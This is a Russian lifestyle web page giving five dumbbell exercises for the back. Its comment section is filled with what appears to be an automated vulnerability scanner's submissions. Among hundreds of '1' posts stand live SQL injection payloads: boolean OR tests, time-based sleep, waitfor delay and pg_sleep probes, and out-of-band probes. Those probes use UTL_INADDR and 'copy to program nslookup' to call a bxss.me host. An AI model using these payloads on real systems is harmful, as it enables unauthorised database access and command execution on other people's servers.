Новые комментарии

Ой, спасибо, читала и улыбалась!!А кого «тошнит» о...
Речь идёт об очень мелких бумажках: карточки, счёт...
Масло… от одного упоминания тошнит
Не унитаз, но ванну пыталась отмыть, ноль эффекта
Сергей, спасибо за ответ. Однако я остаюсь при сво...
Приятное получилось эссе! Только когда помнишь, чт...
МарГо​Создаем уют в доме 11 часов назад
Хорошие советы, но шредер дома зачем? Лучше сдать ...
Ни разу не видела, чтобы она цвела 
РасщЕпляться.
ЮляКак снять очки без лекарств 12 часов назад
написано про хвою сосны, а изображение ветки ели.....
Юля​Лечение свободой 12 часов назад
Проблема что многие больные люди как раз подсажива...
А я с мужем жила вместе пять лет до брака, пока уч...
А почему сейчас не полезно? Можно молочку на рынке...
Я в молодости как-то тоже пыталась помыть голову н...
Так было не постоянно. В 90-е все потеряли, соглас...
татьянаЧесночный мёд для здоровья 16 часов назад
Пишут что надо в ступке измельчать, а на фото  дол...
Как хорошо сказано! Тоже помню это время, когда эт...
Мне уже давно лень)))

Как накачать спину

Как накачать спину

1. Отведение рук в наклоне с гантелями

Поставьте ноги на ширину плеч, наклонитесь вперед с ровной спиной, слегка согнув колени. Отводите руки в стороны до параллели с полом, при этом сводите лопатки. Выдох делайте всегда на отведениеБерите такой вес, чтобы вы смогли сделать не менее 15 повторений.

2. Наклоны вперед с выпрямлением рук (с гантелями)

Поставьте ноги на ширину плеч. Наклоняйтесь вперед с ровной спиной, при этом выпрямляя руки перед собой. В конечной точке руки практически прямые и параллельны полу. Выдох делайте в положении наклона и выпрямленных рук. Повторите примерно 12-15 раз.

3. Подъем корпуса со сведением локтей (с гантелями)

Лягте на живот, выпрямите руки перед собой, возьмите гантели. Поднимайте верхнюю часть корпуса, оставляя нижнюю часть неподвижной. При подъеме опускайте руки к поясу, сгибая их до угла в 90 градусов. Сводите лопатки между собой при опускании рук. Выдох делайте на подъем.

4. Тяга гантелей к поясу стоя в наклоне

Поставьте ноги на ширину плеч, наклонитесь вперед с ровной спиной до угла в 45 градусов, слегка согнув колени. Слегка согнутые руки с гантелями опустите вниз, контролируйте их. Подтягивайте гантели к поясу, стараясь при этом тянуть их мышцами спины, а не бицепсами. Конечная точка — рука с гантелей у находится у пояса. Опустите гантели, слегка растягивая мышцы спины.

5. Ласточка с гантелями

Исходное положение: стоя, ноги вместе, руки с гантелями находятся в районе груди. Наклоняйтесь вперед с ровной спиной до параллели с полом. Руки разводите в сторону, плавно принимая позу ласточки. Ногу тяните назад и старайтесь удержать равновесие. Поднимитесь на выдохе в положение стоя, руки сведите вместе в районе груди. Сделайте 10 повторений на одной ноге и повторите то же самое на второй. Не забывайте делать выдох на нагрузку.

Как накачать спину
Добавить в закладки
Назначить теги
Хороший совет
12
Совет работает
1
Плохой совет
3
RSS
Загрузка...
ihcbiliv
00
2020-09-25 15:12:45
1
ihcbiliv
00
2020-09-25 15:51:12
1
ihcbiliv
00
2020-09-25 15:51:04
1
ihcbiliv
00
2020-09-25 15:12:46
1
ihcbiliv
00
2020-09-25 15:20:32
1
ihcbiliv
00
2020-09-25 15:20:32
1
ihcbiliv
00
2020-09-25 15:24:50
1
ihcbiliv
00
2020-09-25 15:24:51
1
ihcbiliv
00
2020-09-25 15:24:53
1
ihcbiliv
00
2020-09-25 15:24:54
1
ihcbiliv
00
2020-09-25 15:24:55
1
ihcbiliv
00
2020-09-25 15:24:56
1
ihcbiliv
00
2020-09-25 15:24:57
1
ihcbiliv
00
2020-09-25 15:24:57
1
ihcbiliv
00
2020-09-25 15:24:58
1
ihcbiliv
00
2020-09-25 15:24:59
1
ihcbiliv
00
2020-09-25 15:25:00
1
ihcbiliv
00
2020-09-25 15:25:01
1
ihcbiliv
00
2020-09-25 15:25:02
1
ihcbiliv
00
2020-09-25 15:25:04
1
ihcbiliv
00
2020-09-25 15:25:05
1
ihcbiliv
00
2020-09-25 15:25:09
1
ihcbiliv
00
2020-09-25 15:25:10
1
ihcbiliv
00
2020-09-25 15:25:11
1
ihcbiliv
00
2020-09-25 15:25:13
1
ihcbiliv
00
2020-09-25 15:25:15
1
ihcbiliv
00
2020-09-25 15:25:16
1
ihcbiliv
00
2020-09-25 15:25:17
1
ihcbiliv
00
2020-09-25 15:25:19
1
ihcbiliv
00
2020-09-25 15:25:20
1
ihcbiliv
00
2020-09-25 15:25:22
1
ihcbiliv
00
2020-09-25 15:25:23
1
ihcbiliv
00
2020-09-25 15:25:24
1
ihcbiliv
00
2020-09-25 15:25:25
1
ihcbiliv
00
2020-09-25 15:25:26
1
ihcbiliv
00
2020-09-25 15:25:27
1
ihcbiliv
00
2020-09-25 15:25:28
1
ihcbiliv
00
2020-09-25 15:25:29
1
ihcbiliv
00
2020-09-25 15:31:21
1
ihcbiliv
00
2020-09-25 15:31:22
1
ihcbiliv
00
2020-09-25 15:31:23
-1 OR 2+521-521-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:24
-1 OR 3+521-521-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:26
-1 OR 3*2<(0+5+521-521) —
ihcbiliv
00
2020-09-25 15:31:28
-1 OR 3*2>(0+5+521-521) —
ihcbiliv
00
2020-09-25 15:31:29
-1 OR 2+176-176-1=0+0+0+1
ihcbiliv
00
2020-09-25 15:31:32
-1 OR 3+176-176-1=0+0+0+1
ihcbiliv
00
2020-09-25 15:31:33
-1 OR 3*2<(0+5+176-176)
ihcbiliv
00
2020-09-25 15:31:33
-1 OR 3*2>(0+5+176-176)
ihcbiliv
00
2020-09-25 15:31:36
-1' OR 2+547-547-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:39
-1' OR 3+547-547-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:40
-1' OR 3*2<(0+5+547-547) —
ihcbiliv
00
2020-09-25 15:31:41
-1' OR 3*2>(0+5+547-547) —
ihcbiliv
00
2020-09-25 15:31:42
-1' OR 2+320-320-1=0+0+0+1 or '7KER2xh9'='
ihcbiliv
00
2020-09-25 15:31:44
-1' OR 3+320-320-1=0+0+0+1 or '7KER2xh9'='
ihcbiliv
00
2020-09-25 15:31:47
-1' OR 3*2<(0+5+320-320) or '7KER2xh9'='
ihcbiliv
00
2020-09-25 15:31:48
-1' OR 3*2>(0+5+320-320) or '7KER2xh9'='
ihcbiliv
00
2020-09-25 15:31:49
-1" OR 2+680-680-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:50
-1" OR 3+680-680-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:51
-1" OR 3*2<(0+5+680-680) —
ihcbiliv
00
2020-09-25 15:31:52
-1" OR 3*2>(0+5+680-680) —
ihcbiliv
00
2020-09-25 15:31:56
if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'«XOR(if(now()=sysdate(),sleep(9),0))OR»*/
ihcbiliv
00
2020-09-25 15:31:57
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
ihcbiliv
00
2020-09-25 15:31:58
-1; waitfor delay '0:0:3' —
ihcbiliv
00
2020-09-25 15:31:59
-1); waitfor delay '0:0:3' —
ihcbiliv
00
2020-09-25 15:32:00
1 waitfor delay '0:0:3' —
ihcbiliv
00
2020-09-25 15:32:02
TBkMMVXN'; waitfor delay '0:0:6' —
ihcbiliv
00
2020-09-25 15:32:05
-1;select pg_sleep(6); —
ihcbiliv
00
2020-09-25 15:32:06
-1);select pg_sleep(6); —
ihcbiliv
00
2020-09-25 15:32:07
-1));select pg_sleep(6); —
ihcbiliv
00
2020-09-25 15:32:10
1mxXNtwO';select pg_sleep(9); —
ihcbiliv
00
2020-09-25 15:32:10
6n8RIOMl');select pg_sleep(9); —
ihcbiliv
00
2020-09-25 15:32:12
yQbiRizv'));select pg_sleep(9); —
ihcbiliv
00
2020-09-25 15:32:13
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1164-863.1164.39ab3.1.bxss'||'.me')
ihcbiliv
00
2020-09-25 15:32:14
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1164-864.1164.39ab3.1.bxss'||'.me')||'
ihcbiliv
00
2020-09-25 15:32:15
1;copy (select '') to program 'nslookup dns.sqli.\013405.1164-866.1164.39ab3.\1.bxss.me'
ihcbiliv
00
2020-09-25 15:32:18
1';copy (select '') to program 'nslookup dns.sqli.\013405.1164-868.1164.39ab3.\1.bxss.me
ihcbiliv
00
2020-09-25 15:32:19
958'
ihcbiliv
00
2020-09-25 15:38:50
1
ihcbiliv
00
2020-09-25 15:38:51
1
ihcbiliv
00
2020-09-25 15:38:53
1
ihcbiliv
00
2020-09-25 15:38:54
1
ihcbiliv
00
2020-09-25 15:38:56
1
ihcbiliv
00
2020-09-25 15:38:58
1
ihcbiliv
00
2020-09-25 15:38:59
1
ihcbiliv
00
2020-09-25 15:39:00
1
ihcbiliv
00
2020-09-25 15:39:02
1
ihcbiliv
00
2020-09-25 15:39:03
1
ihcbiliv
00
2020-09-25 15:39:04
1
ihcbiliv
00
2020-09-25 15:39:06
1
ihcbiliv
00
2020-09-25 15:39:07
1
ihcbiliv
00
2020-09-25 15:39:10
1
ihcbiliv
00
2020-09-25 15:39:11
1
ihcbiliv
00
2020-09-25 15:39:12
1
ihcbiliv
00
2020-09-25 15:39:15
1
ihcbiliv
00
2020-09-25 15:39:17
1
ihcbiliv
00
2020-09-25 15:39:18
1
ihcbiliv
00
2020-09-25 15:39:21
1
ihcbiliv
00
2020-09-25 15:39:24
1
ihcbiliv
00
2020-09-25 15:39:27
1
ihcbiliv
00
2020-09-25 15:39:29
1
ihcbiliv
00
2020-09-25 15:39:30
1
ihcbiliv
00
2020-09-25 15:39:31
1
ihcbiliv
00
2020-09-25 15:39:32
1
ihcbiliv
00
2020-09-25 15:39:34
1
ihcbiliv
00
2020-09-25 15:39:36
1
ihcbiliv
00
2020-09-25 15:39:38
1
ihcbiliv
00
2020-09-25 15:39:41
1
ihcbiliv
00
2020-09-25 15:39:43
1
ihcbiliv
00
2020-09-25 15:39:45
1
ihcbiliv
00
2020-09-25 15:45:20
1
ihcbiliv
00
2020-09-25 15:45:22
1
ihcbiliv
00
2020-09-25 15:45:48
1
ihcbiliv
00
2020-09-25 15:45:50
1
ihcbiliv
00
2020-09-25 15:45:54
1
ihcbiliv
00
2020-09-25 15:45:55
1
e
00
2020-09-25 15:45:58
%3Cul%3E%3C%2Ful%3E
e
00
2020-09-25 15:45:59
%3Cul%3E%3C%2Ful%3E
ihcbiliv
00
2020-09-25 15:46:00
1
e
00
2020-09-25 15:46:00
-1 OR 2+794-794-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:46:01
1
ihcbiliv
00
2020-09-25 15:46:02
1
e
00
2020-09-25 15:46:03
-1 OR 3+794-794-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:46:04
1
e
00
2020-09-25 15:46:05
-1 OR 3*2<(0+5+794-794) —
ihcbiliv
00
2020-09-25 15:46:05
1
e
00
2020-09-25 15:46:07
-1 OR 3*2>(0+5+794-794) —
ihcbiliv
00
2020-09-25 15:46:07
1
ihcbiliv
00
2020-09-25 15:46:08
1
ihcbiliv
00
2020-09-25 15:46:09
1
e
00
2020-09-25 15:46:10
-1 OR 2+903-903-1=0+0+0+1
e
00
2020-09-25 15:46:11
-1 OR 3+903-903-1=0+0+0+1
e
00
2020-09-25 15:46:12
-1 OR 3*2<(0+5+903-903)
e
00
2020-09-25 15:46:13
-1 OR 3*2>(0+5+903-903)
e
00
2020-09-25 15:46:14
-1' OR 2+168-168-1=0+0+0+1 —
e
00
2020-09-25 15:46:16
-1' OR 3+168-168-1=0+0+0+1 —
e
00
2020-09-25 15:46:17
-1' OR 3*2<(0+5+168-168) —
e
00
2020-09-25 15:46:18
-1' OR 3*2>(0+5+168-168) —
e
00
2020-09-25 15:46:20
-1' OR 2+317-317-1=0+0+0+1 or 'XNbRmYD3'='
e
00
2020-09-25 15:46:21
-1' OR 3+317-317-1=0+0+0+1 or 'XNbRmYD3'='
e
00
2020-09-25 15:46:24
-1' OR 3*2<(0+5+317-317) or 'XNbRmYD3'='
e
00
2020-09-25 15:46:25
-1' OR 3*2>(0+5+317-317) or 'XNbRmYD3'='
e
00
2020-09-25 15:46:27
-1" OR 2+583-583-1=0+0+0+1 —
e
00
2020-09-25 15:46:28
-1" OR 3+583-583-1=0+0+0+1 —
e
00
2020-09-25 15:46:29
-1" OR 3*2<(0+5+583-583) —
e
00
2020-09-25 15:46:30
-1" OR 3*2>(0+5+583-583) —
e
00
2020-09-25 15:46:31
if(now()=sysdate(),sleep(15),0)/*'XOR(if(now()=sysdate(),sleep(15),0))OR'«XOR(if(now()=sysdate(),sleep(15),0))OR»*/
e
00
2020-09-25 15:46:32
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
e
00
2020-09-25 15:46:34
1 waitfor delay '0:0:5' —
e
00
2020-09-25 15:46:35
crJkO6YW'; waitfor delay '0:0:10' —
e
00
2020-09-25 15:46:38
NEGvbtqf';select pg_sleep(10); —
e
00
2020-09-25 15:46:39
hadDn7rX');select pg_sleep(5); —
e
00
2020-09-25 15:46:42
rRZNhXsw'));select pg_sleep(10); —
e
00
2020-09-25 15:46:43
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1164-1312.1164.ffd54.1.bxss'||'.me')||'
e
00
2020-09-25 15:46:45
%3Cul%3E%3C%2Ful%3E';copy (select '') to program 'nslookup dns.sqli.\013405.1164-1315.1164.ffd54.\1.bxss.me
e
00
2020-09-25 15:46:47
936'
ihcbiliv
00
2020-09-25 15:50:34
1
ihcbiliv
00
2020-09-25 15:50:35
1
ihcbiliv
00
2020-09-25 15:50:51
1
ihcbiliv
00
2020-09-25 15:50:52
1
ihcbiliv
00
2020-09-25 15:50:55
1
ihcbiliv
00
2020-09-25 15:50:56
1
ihcbiliv
00
2020-09-25 15:51:02
1
ihcbiliv
00
2020-09-25 15:51:06
1
ihcbiliv
00
2020-09-25 15:51:07
1
ihcbiliv
00
2020-09-25 15:51:08
1
ihcbiliv
00
2020-09-25 15:51:09
1
ihcbiliv
00
2020-09-25 15:51:11
1
ihcbiliv
00
2020-09-25 15:56:14
1
ihcbiliv
00
2020-09-25 15:56:14
1
ihcbiliv
00
2020-09-25 15:56:15
1
ihcbiliv
00
2020-09-25 15:56:17
1
ihcbiliv
00
2020-09-25 15:56:17
1
ihcbiliv
00
2020-09-25 15:56:18
1
ihcbiliv
00
2020-09-25 15:56:19
1
ihcbiliv
00
2020-09-25 15:56:19
1
ihcbiliv
00
2020-09-25 15:56:20
1
ihcbiliv
00
2020-09-25 15:56:22
1
ihcbiliv
00
2020-09-25 15:56:23
1
ihcbiliv
00
2020-09-25 15:56:25
1
ihcbiliv
00
2020-09-25 15:56:26
1
ihcbiliv
00
2020-09-25 15:56:27
1
ihcbiliv
00
2020-09-25 15:56:28
1
ihcbiliv
00
2020-09-25 15:56:30
1
ihcbiliv
00
2020-09-25 15:56:31
1
ihcbiliv
00
2020-09-25 15:56:31
1
ihcbiliv
00
2020-09-25 15:56:32
1
ihcbiliv
00
2020-09-25 15:56:33
1
ihcbiliv
00
2020-09-25 15:56:33
1
ihcbiliv
00
2020-09-25 15:56:34
1
ihcbiliv
00
2020-09-25 15:56:35
1
ihcbiliv
00
2020-09-25 15:56:36
1
ihcbiliv
00
2020-09-25 15:56:38
1
ihcbiliv
00
2020-09-25 15:56:39
1
ihcbiliv
00
2020-09-25 15:56:41
1
ihcbiliv
00
2020-09-25 15:56:41
1
ihcbiliv
00
2020-09-25 15:56:42
1
ihcbiliv
00
2020-09-25 15:56:43
1
ihcbiliv
00
2020-09-25 15:56:43
1
ihcbiliv
00
2020-09-25 15:56:44
1
ihcbiliv
00
2020-09-25 16:02:29
1
ihcbiliv
00
2020-09-25 16:02:30
1
ihcbiliv
00
2020-09-25 16:02:31
1
ihcbiliv
00
2020-09-25 16:02:32
1
ihcbiliv
00
2020-09-25 16:02:33
1
ihcbiliv
00
2020-09-25 16:02:35
1
ihcbiliv
00
2020-09-25 16:02:36
1
ihcbiliv
00
2020-09-25 16:02:37
1
ihcbiliv
00
2020-09-25 16:02:38
1
ihcbiliv
00
2020-09-25 16:02:40
1
ihcbiliv
00
2020-09-25 16:02:41
1
ihcbiliv
00
2020-09-25 16:02:42
1
ihcbiliv
00
2020-09-25 16:02:44
1
ihcbiliv
00
2020-09-25 16:02:45
1
ihcbiliv
00
2020-09-25 16:02:46
1
ihcbiliv
00
2020-09-25 16:02:48
1
ihcbiliv
00
2020-09-25 16:02:48
1
ihcbiliv
00
2020-09-25 16:02:49
1
ihcbiliv
00
2020-09-25 16:02:51
1
ihcbiliv
00
2020-09-25 16:02:52
1
ihcbiliv
00
2020-09-25 16:02:54
1
ihcbiliv
00
2020-09-25 16:02:56
1
ihcbiliv
00
2020-09-25 16:03:00
1
ihcbiliv
00
2020-09-25 16:03:05
1
ihcbiliv
00
2020-09-25 16:03:07
1
ihcbiliv
00
2020-09-25 16:03:08
1
ihcbiliv
00
2020-09-25 16:03:11
1
ihcbiliv
00
2020-09-25 16:03:12
1
ihcbiliv
00
2020-09-25 16:03:55
1
ihcbiliv
00
2020-09-25 16:03:56
1
ihcbiliv
00
2020-09-25 16:03:57
1
ihcbiliv
00
2020-09-25 16:08:42
1
ihcbiliv
00
2020-09-25 16:08:43
1
ihcbiliv
00
2020-09-25 16:11:30
1
ihcbiliv
00
2020-09-25 16:11:31
1
ihcbiliv
00
2020-09-25 16:11:54
1
ihcbiliv
00
2020-09-25 16:11:56
1
ihcbiliv
00
2020-09-25 16:11:58
1
ihcbiliv
00
2020-09-25 16:12:00
1
ihcbiliv
00
2020-09-25 16:12:01
1
ihcbiliv
00
2020-09-25 16:12:27
1
ihcbiliv
00
2020-09-25 16:12:30
1
ihcbiliv
00
2020-09-25 16:12:31
1
ihcbiliv
00
2020-09-25 16:13:02
1
ihcbiliv
00
2020-09-25 16:13:03
1
ihcbiliv
00
2020-09-25 16:13:27
1
ihcbiliv
00
2020-09-25 16:13:30
1
ihcbiliv
00
2020-09-25 16:13:31
1
ihcbiliv
00
2020-09-25 16:15:07
1
ihcbiliv
00
2020-09-25 16:15:08
1
ihcbiliv
00
2020-09-25 16:15:09
1
ihcbiliv
00
2020-09-25 16:15:10
1
ihcbiliv
00
2020-09-25 16:15:11
1
ihcbiliv
00
2020-09-25 16:15:12
1
ihcbiliv
00
2020-09-25 16:15:13
1
ihcbiliv
00
2020-09-25 16:15:14
1
ihcbiliv
00
2020-09-25 16:15:15
1
ihcbiliv
00
2020-09-25 16:15:16
1
ihcbiliv
00
2020-09-25 16:15:17
1
ihcbiliv
00
2020-09-25 16:15:18
1
ihcbiliv
00
2020-09-25 16:15:19
1
ihcbiliv
00
2020-09-25 16:15:21
1
ihcbiliv
00
2020-09-25 16:15:22
1
ihcbiliv
00
2020-09-25 16:15:22
1
ihcbiliv
00
2020-09-25 16:15:24
1
ihcbiliv
00
2020-09-25 16:15:25
1
ihcbiliv
00
2020-09-25 16:15:26
1
ihcbiliv
00
2020-09-25 16:15:27
1
ihcbiliv
00
2020-09-25 16:15:28
1
ihcbiliv
00
2020-09-25 16:15:30
1
ihcbiliv
00
2020-09-25 16:15:31
1
ihcbiliv
00
2020-09-25 16:15:32
1
ihcbiliv
00
2020-09-25 16:15:33
1
ihcbiliv
00
2020-09-25 16:15:33
1
ihcbiliv
00
2020-09-25 16:15:35
1
ihcbiliv
00
2020-09-25 16:15:36
1
ihcbiliv
00
2020-09-25 16:15:36
1
ihcbiliv
00
2020-09-25 16:15:37
1
ihcbiliv
00
2020-09-25 16:15:39
1
ihcbiliv
00
2020-09-25 16:15:40
1
ihcbiliv
00
2020-09-25 16:15:41
1
ihcbiliv
00
2020-09-25 16:15:42
1
ihcbiliv
00
2020-09-25 16:15:44
1
ihcbiliv
00
2020-09-25 16:15:45
1
ihcbiliv
00
2020-09-25 16:15:46
1
ihcbiliv
00
2020-09-25 16:15:47
1
ihcbiliv
00
2020-09-25 16:15:49
1
ihcbiliv
00
2020-09-25 16:20:39
1
ihcbiliv
00
2020-09-25 16:20:40
1
ihcbiliv
00
2020-09-25 16:27:27
1
ihcbiliv
00
2020-09-25 16:27:28
1
ihcbiliv
00
2020-09-25 16:27:37
1
ihcbiliv
00
2020-09-25 16:27:38
1
ihcbiliv
00
2020-09-25 16:27:40
1
ihcbiliv
00
2020-09-25 16:27:41
1
ihcbiliv
00
2020-09-25 16:27:43
1
ihcbiliv
00
2020-09-25 16:27:44
1
ihcbiliv
00
2020-09-25 16:27:45
1
ihcbiliv
00
2020-09-25 16:27:46
1
ihcbiliv
00
2020-09-25 16:27:46
1
ihcbiliv
00
2020-09-25 16:27:47
1
ihcbiliv
00
2020-09-25 16:27:49
1
ihcbiliv
00
2020-09-25 16:27:50
1